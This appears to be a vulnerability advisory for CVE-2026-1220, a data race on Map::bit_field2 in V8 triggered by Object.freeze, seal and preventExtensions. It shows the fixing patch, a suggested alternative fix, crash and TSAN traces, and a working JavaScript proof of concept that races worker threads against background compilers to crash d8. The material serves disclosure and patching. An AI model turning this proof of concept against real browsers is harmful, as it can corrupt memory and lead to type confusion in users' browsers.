CVE-2026-1220
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/objects/map.cc |
modified |
Files Changed
src/objects/map.cc
Patch
From e7f117bdb2fb4acbe619cf26aae2e011bf7f0e25 Mon Sep 17 00:00:00 2001 From: Olivier Flückiger <[email protected]> Date: Mon, 12 Jan 2026 15:41:30 +0100 Subject: [PATCH] [map] Fix publishing of integrity-level transitions Integrity level transition target maps should not be published to the map tree before they are fully initialized. Otherwise concurrent access might pick up not fully updated target maps. Drive-By: Fix a dcheck in the map-updater to not fire when an indirectly reachable non-deprecatable map is deprecated due to the whole subtree being deprecated. Fixed: 473851441 Change-Id: Ibfe62aa63e63873554420774a0b269e7f2cd594f Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7450862 Auto-Submit: Olivier Flückiger <[email protected]> Reviewed-by: Toon Verwaest <[email protected]> Commit-Queue: Toon Verwaest <[email protected]> Cr-Commit-Position: refs/heads/main@{#104646} --- diff --git a/src/objects/map.cc b/src/objects/map.cc index 8b16172..da68bbb 100644 --- a/src/objects/map.cc +++ b/src/objects/map.cc @@ -652,20 +652,25 @@ } void Map::DeprecateTransitionTree(Isolate* isolate) { + DCHECK(CanBeDeprecated()); + return DeprecateTransitionTreeImpl(isolate); +} + +void Map::DeprecateTransitionTreeImpl(Isolate* isolate) { if (is_deprecated()) return; DisallowGarbageCollection no_gc; ReadOnlyRoots roots(isolate); TransitionsAccessor transitions(isolate, *this); transitions.ForEachTransition( - &no_gc, [&](Tagged<Map> map) { map->DeprecateTransitionTree(isolate); }, + &no_gc, + [&](Tagged<Map> map) { map->DeprecateTransitionTreeImpl(isolate); }, [&](Tagged<Map> map) { if (v8_flags.move_prototype_transitions_first) { - map->DeprecateTransitionTree(isolate); + map->DeprecateTransitionTreeImpl(isolate); } }, nullptr); DCHECK(!IsFunctionTemplateInfo(constructor_or_back_pointer())); - DCHECK(CanBeDeprecated()); set_is_deprecated(true); if (v8_flags.log_maps) { LOG(isolate, MapEvent("Deprecate", direct_handle(*this, isolate), {})); @@ -1587,6 +1592,22 @@ DirectHandle<DescriptorArray> descriptors, TransitionFlag flag, MaybeDirectHandle<Name> maybe_name, const char* reason, TransitionKindFlag transition_kind) { + // Special transitions need to pass an InitMap function to initialize the map + // before inserting it into the transition tree. + CHECK_IMPLIES(flag == INSERT_TRANSITION, + transition_kind == PROPERTY_TRANSITION || + transition_kind == SIMPLE_PROPERTY_TRANSITION); + return CopyReplaceDescriptors( + isolate, map, descriptors, flag, [&](Handle<Map>) {}, maybe_name, reason, + transition_kind); +} + +template <typename InitMapCb> +Handle<Map> Map::CopyReplaceDescriptors( + Isolate* isolate, DirectHandle<Map> map, + DirectHandle<DescriptorArray> descriptors, TransitionFlag flag, + const InitMapCb& InitMap, MaybeDirectHandle<Name> maybe_name, + const char* reason, TransitionKindFlag transition_kind) { DCHECK(descriptors->IsSortedNoDuplicates()); Handle<Map> result = CopyDropDescriptors(isolate, map); @@ -1598,15 +1619,16 @@ result->set_may_have_interesting_properties(true); } + bool insert_transition = false; if (map->is_prototype_map()) { result->InitializeDescriptors(isolate, *descriptors); } else { if (flag == INSERT_TRANSITION && TransitionsAccessor::CanHaveMoreTransitions(isolate, map)) { + insert_transition = true; result->InitializeDescriptors(isolate, *descriptors); DCHECK(!maybe_name.is_null()); - ConnectTransition(isolate, map, result, name, transition_kind); is_connected = true; } else if ((transition_kind == PROTOTYPE_TRANSITION && v8_flags.move_prototype_transitions_first) || @@ -1624,6 +1646,10 @@ result->InitializeDescriptors(isolate, *descriptors); } } + InitMap(result); + if (insert_transition) { + ConnectTransition(isolate, map, result, name, transition_kind); + } if (v8_flags.log_maps && !is_connected) { LOG(isolate, MapEvent("ReplaceDescriptors", map, result, reason, @@ -1879,68 +1905,70 @@ DescriptorArray::CopyUpToAddAttributes( isolate, direct_handle(map->instance_descriptors(isolate), isolate), num_descriptors, attrs_to_add); + + auto InitMap = [&](Handle<Map> new_map) { + new_map->set_is_extensible(false); + if (!IsTypedArrayOrRabGsabTypedArrayElementsKind(map->elements_kind())) { + ElementsKind new_kind = IsStringWrapperElementsKind(map->elements_kind()) + ? SLOW_STRING_WRAPPER_ELEMENTS + : DICTIONARY_ELEMENTS; + if (!old_map_is_dictionary_elements_kind) { + switch (map->elements_kind()) { + case PACKED_ELEMENTS: + if (attrs_to_add == SEALED) { + new_kind = PACKED_SEALED_ELEMENTS; + } else if (attrs_to_add == FROZEN) { + new_kind = PACKED_FROZEN_ELEMENTS; + } else { + new_kind = PACKED_NONEXTENSIBLE_ELEMENTS; + } + break; + case PACKED_NONEXTENSIBLE_ELEMENTS: + if (attrs_to_add == SEALED) { + new_kind = PACKED_SEALED_ELEMENTS; + } else if (attrs_to_add == FROZEN) { + new_kind = PACKED_FROZEN_ELEMENTS; + } + break; + case PACKED_SEALED_ELEMENTS: + if (attrs_to_add == FROZEN) { + new_kind = PACKED_FROZEN_ELEMENTS; + } + break; + case HOLEY_ELEMENTS: + if (attrs_to_add == SEALED) { + new_kind = HOLEY_SEALED_ELEMENTS; + } else if (attrs_to_add == FROZEN) { + new_kind = HOLEY_FROZEN_ELEMENTS; + } else { + new_kind = HOLEY_NONEXTENSIBLE_ELEMENTS; + } + break; + case HOLEY_NONEXTENSIBLE_ELEMENTS: + if (attrs_to_add == SEALED) { + new_kind = HOLEY_SEALED_ELEMENTS; + } else if (attrs_to_add == FROZEN) { + new_kind = HOLEY_FROZEN_ELEMENTS; + } + break; + case HOLEY_SEALED_ELEMENTS: + if (attrs_to_add == FROZEN) { + new_kind = HOLEY_FROZEN_ELEMENTS; + } + break; + default: + break; + } + } + new_map->set_elements_kind(new_kind); + } + }; + // Do not track transitions during bootstrapping. TransitionFlag flag = isolate->bootstrapper()->IsActive() ? OMIT_TRANSITION : INSERT_TRANSITION; - Handle<Map> new_map = - CopyReplaceDescriptors(isolate, map, new_desc, flag, transition_marker, - reason, SPECIAL_TRANSITION); - new_map->set_is_extensible(false); - if (!IsTypedArrayOrRabGsabTypedArrayElementsKind(map->elements_kind())) { - ElementsKind new_kind = IsStringWrapperElementsKind(map->elements_kind()) - ? SLOW_STRING_WRAPPER_ELEMENTS - : DICTIONARY_ELEMENTS; - if (!old_map_is_dictionary_elements_kind) { - switch (map->elements_kind()) { - case PACKED_ELEMENTS: - if (attrs_to_add == SEALED) { - new_kind = PACKED_SEALED_ELEMENTS; - } else if (attrs_to_add == FROZEN) { - new_kind = PACKED_FROZEN_ELEMENTS; - } else { - new_kind = PACKED_NONEXTENSIBLE_ELEMENTS; - } - break; - case PACKED_NONEXTENSIBLE_ELEMENTS: - if (attrs_to_add == SEALED) { - new_kind = PACKED_SEALED_ELEMENTS; - } else if (attrs_to_add == FROZEN) { - new_kind = PACKED_FROZEN_ELEMENTS; - } - break; - case PACKED_SEALED_ELEMENTS:
Original Bug Report
Data race in Map::bit_field2 access
Summary
A data race vulnerability exists in V8’s Map object where concurrent access to bit_field2 (which contains elements_kind) between the main thread and Maglev/TurboFan background compilation threads can lead to memory corruption. The race occurs because bit_field2 is accessed with non-atomic operations while being modified by Object.freeze(), Object.seal(), or Object.preventExtensions() on the main thread.
Vulnerability Details
Root Cause
The bit_field2 field in Map objects is accessed using non-atomic read/write operations:
// src/objects/map-inl.h
uint8_t Map::bit_field2() const { return ReadField<uint8_t>(kBitField2Offset); }
void Map::set_bit_field2(uint8_t value) {
WriteField<uint8_t>(kBitField2Offset, value);
}
When Object.freeze() executes on the main thread, it modifies bit_field2 via set_elements_kind(). Concurrently, the Maglev background compilation thread reads bit_field2 via elements_kind() in MapUpdater::TryUpdateNoLock(), creating a data race.
Bisect
The issue was introduced in: https://issues.chromium.org/issues/42210079. Affected versions: M78 and later
The vulnerability affects Object.freeze(), Object.seal(), and Object.preventExtensions().
Proof of Concept
function f24() {
function f23() {
function F40(a42) {
let v44 = a42.constructor;
new v44(1.1);
this.g = a42;
Object.freeze(this);
}
let v50 = new F40(0);
new F40(v50);
}
for (let i = 0; i < 5000000; i++) {
f23();
}
}
// Workers run in parallel and increase the chance of hitting the race between the
// main thread and background compiler threads.
const workers = [];
for (let i = 0; i < 30; i++) {
workers.push(new Worker(f24, { type: "function" }));
}
for (const w of workers) {
try {
w.getMessage();
} catch(e) {}
}
Reproduction Steps
- Build V8/d8 with the following configurations:
Release build (args.gn):
is_debug = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_static_library = true
TSAN build (args.gn):
dcheck_always_on = true
is_component_build = false
is_debug = false
is_tsan = true
target_cpu = "x64"
v8_enable_disassembler = true
v8_enable_object_print = true
v8_static_library = true
- Run the PoC:
# Release build - crashes with SEGV
./out/release/d8 --expose-gc --allow-natives-syntax --jit-fuzzing poc.js
# TSAN build - detects data race
TSAN_OPTIONS=halt_on_error=1:abort_on_error=1 ./out/is_tsan/d8 --expose-gc --allow-natives-syntax --jit-fuzzing poc.js
Crash Analysis
Release Build Crash
Received signal 11 SEGV_ACCERR 03c78b482673
...
v8::internal::MapUpdater::TryUpdateNoLock
v8::internal::compiler::JSHeapBroker::ReadFeedbackForPropertyAccess
...
v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run
Note: Due to the inherent instability of race conditions, crashes may occur at different locations. Adding garbage collection before the racing call (new F40(v50);) can help stabilize reproduction during exploitation.
TSAN Report
WARNING: ThreadSanitizer: data race (pid=2363887)
Read of size 1 at 0x7eac01034737 by thread T32:
#0 ReadMaybeUnalignedValue<unsigned char> src/common/ptr-compr.h:215:12
#1 ReadField<unsigned char> src/objects/heap-object.h:262:12
#2 bit_field2 src/objects/map-inl.h:561:42
#3 elements_kind src/objects/map-inl.h:673:47
#4 MapUpdater::TryUpdateNoLock src/objects/map-updater.cc:428:46
...
Previous write of size 1 at 0x7eac01034737 by main thread:
#0 WriteMaybeUnalignedValue<unsigned char> src/common/ptr-compr.h:233:24
#1 WriteField<unsigned char> src/objects/heap-object.h:270:12
#2 set_bit_field2 src/objects/map-inl.h:564:3
#3 set_elements_kind src/objects/map-inl.h:668:3
#4 Map::CopyForPreventExtensions src/objects/map.cc:1941:14
#5 JSObject::PreventExtensionsWithTransition src/objects/js-objects.cc:4581:33
#6 JSReceiver::SetIntegrityLevel src/objects/js-objects.cc:2030:16
#7 Builtin_Impl_ObjectFreeze src/builtins/builtins-object.cc:223:18
Suggested Patch
The fix requires using relaxed atomic operations for bit_field2 access, similar to how bit_field is already handled:
diff --git a/src/objects/map-inl.h b/src/objects/map-inl.h
index 3fc90007a82..d6d8c68337a 100644
--- a/src/objects/map-inl.h
+++ b/src/objects/map-inl.h
@@ -133,9 +133,9 @@ BIT_FIELD_ACCESSORS2(Map, relaxed_bit_field, bit_field, is_constructor,
Map::Bits1::IsConstructorBit)
// |bit_field2| fields.
-BIT_FIELD_ACCESSORS(Map, bit_field2, new_target_is_base,
+BIT_FIELD_ACCESSORS(Map, relaxed_bit_field2, new_target_is_base,
Map::Bits2::NewTargetIsBaseBit)
-BIT_FIELD_ACCESSORS(Map, bit_field2, is_immutable_proto,
+BIT_FIELD_ACCESSORS(Map, relaxed_bit_field2, is_immutable_proto,
Map::Bits2::IsImmutablePrototypeBit)
// |bit_field3| fields.
@@ -558,10 +558,20 @@ void Map::set_relaxed_bit_field(uint8_t value) {
RELAXED_WRITE_BYTE_FIELD(*this, kBitFieldOffset, value);
}
-uint8_t Map::bit_field2() const { return ReadField<uint8_t>(kBitField2Offset); }
+uint8_t Map::relaxed_bit_field2() const {
+ return RELAXED_READ_BYTE_FIELD(*this, kBitField2Offset);
+}
+
+void Map::set_relaxed_bit_field2(uint8_t value) {
+ RELAXED_WRITE_BYTE_FIELD(*this, kBitField2Offset, value);
+}
+
+uint8_t Map::bit_field2() const {
+ return relaxed_bit_field2();
+}
void Map::set_bit_field2(uint8_t value) {
- WriteField<uint8_t>(kBitField2Offset, value);
+ set_relaxed_bit_field2(value);
}
uint32_t Map::bit_field3() const {
@@ -665,8 +675,8 @@ bool Map::TryGetValidityCellHolderMap(
void Map::set_elements_kind(ElementsKind elements_kind) {
CHECK_LT(static_cast<int>(elements_kind), kElementsKindCount);
- set_bit_field2(
- Map::Bits2::ElementsKindBits::update(bit_field2(), elements_kind));
+ set_relaxed_bit_field2(
+ Map::Bits2::ElementsKindBits::update(relaxed_bit_field2(), elements_kind));
}
ElementsKind Map::elements_kind() const {
diff --git a/src/objects/map.h b/src/objects/map.h
index 9c25eee64d2..baa34ec4fb0 100644
--- a/src/objects/map.h
+++ b/src/objects/map.h
@@ -325,6 +325,8 @@ class Map : public TorqueGeneratedMap<Map, HeapObject> {
//
DECL_PRIMITIVE_ACCESSORS(bit_field2, uint8_t)
+ DECL_PRIMITIVE_ACCESSORS(relaxed_bit_field2, uint8_t)
+
// Bit positions for |bit_field2|.
struct Bits2 {
DEFINE_TORQUE_GENERATED_MAP_BIT_FIELDS2()
Security Impact
This vulnerability allows:
- Memory corruption through data race of
elements_kind - Type confusion if inconsistent
elements_kindvalues are observed
Version Information
- V8 Version: latest at time of testing - 14.5.170
- Operating System: Linux x64 (Ubuntu)
- Architecture: x86_64
Credit Information
Reporter credit: @p1nky4745